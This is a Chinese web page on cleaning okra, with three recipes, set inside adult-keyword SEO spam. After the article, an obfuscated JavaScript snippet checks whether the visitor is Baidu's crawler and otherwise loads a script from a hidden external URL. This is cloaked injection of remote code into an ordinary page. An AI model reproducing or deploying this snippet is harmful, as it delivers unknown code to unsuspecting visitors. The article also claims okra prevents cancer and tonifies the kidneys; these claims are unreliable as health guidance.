久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

秋葵怎么洗

2017-04-21 19:49:12  來源:360常識網   熱度:
導語:秋葵可以當做一種蔬菜,也可以當做一種藥材。秋葵原本產自于非洲,20世紀的時候引入到我國。秋葵具有很好的藥用價值。在秋葵中,硒以及鋅的

秋葵可以當做一種蔬菜,也可以當做一種藥材。秋葵原本產自于非洲,20世紀的時候引入到我國。秋葵具有很好的藥用價值。在秋葵中,硒以及鋅的含量非常豐富,經常食用具有抗癌防癌的功效。秋葵食用后可保護胃粘膜,吃秋葵還可緩解咽喉疼痛幫助消化。下面來介紹秋葵的清洗方法以及制作方法。

清洗方法:首先將蒂切去后將棱角也切掉,其次均勻的涂抹上鹽,擦洗干凈表面的容貌,最后清洗干凈后就可以了。

黃秋葵菜式一:涼拌黃秋葵。做法:黃秋葵用鹽搓揉去絨毛,清洗后放入開水中煮3分鐘,撈出過涼,橫切成星形。用橄欖油、鹽、蘋果醋拌一個油醋汁,澆在黃秋葵上拌勻,撒上熟黑芝麻裝飾即成。

黃秋葵菜式二:白灼黃秋葵。做法:黃秋葵用鹽搓揉去絨毛,清洗后放入開水中煮3分鐘,撈出過涼,順長剖開,一切為二,放在盤中。黃秋葵上澆上生抽,燒熱油,炸香蒜茸,把熱油澆在黃秋葵上即成。

黃秋葵菜式三:清炒黃秋葵。做法:黃秋葵用鹽搓揉去絨毛,清洗后放入開水中煮1分鐘,撈出過涼,斜切成片。熱鍋加油爆香蒜茸,下黃秋葵翻炒,加鹽調味,即可出鍋。可以略加些味精。

經常吃秋葵的人,身體依賴缺氧的能力會增強。在秋葵當中果膠的含量較為豐富,另外還含有大量的多糖,對人體肝臟有保護功能。經常吃秋葵還能補鈣,并且秋葵當中的鈣被人體的吸收率很高,大約在60%左右。男性腎功能不好的時候,吃秋葵可補腎。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日韩一区精品 | 亚洲精品久久久一区二区三区 | 国产成人+综合亚洲+天堂 | 美日韩一区二区三区 | 日本福利视频网 | 国产精品一区二区三区网站 | 亚洲精品综合中文字幕 | 九九精品视频在线 | 午夜免费片 | 天堂999| 亚洲 欧美 综合 | 国产午夜精品久久久 | 精品1区 | 欧美日韩精品综合 | 欧美日韩免费一区 | 国产精品一区91 | 一级免费毛片 | 美女天堂av | 91麻豆精品国产91久久久久久 | 国产成人欧美一区二区三区一色天 | av网站在线免费看 | aaa久久| 欧美日韩一区二区在线 | 亚洲啊v| 成人a在线视频免费观看 | 欧美久久免费观看 | 欧美麻豆| 黄色一级视 | 欧美a∨一区二区三区久久黄 | 色精品 | 九色在线观看 | 久久人人爽爽人人爽人人片av | 久久这里只有精品首页 | 久久色av | 九九久久精品 | 99久视频| 一区视频| 狠狠操av| 99免费精品 | 色婷婷一区 | 成人av免费在线观看 |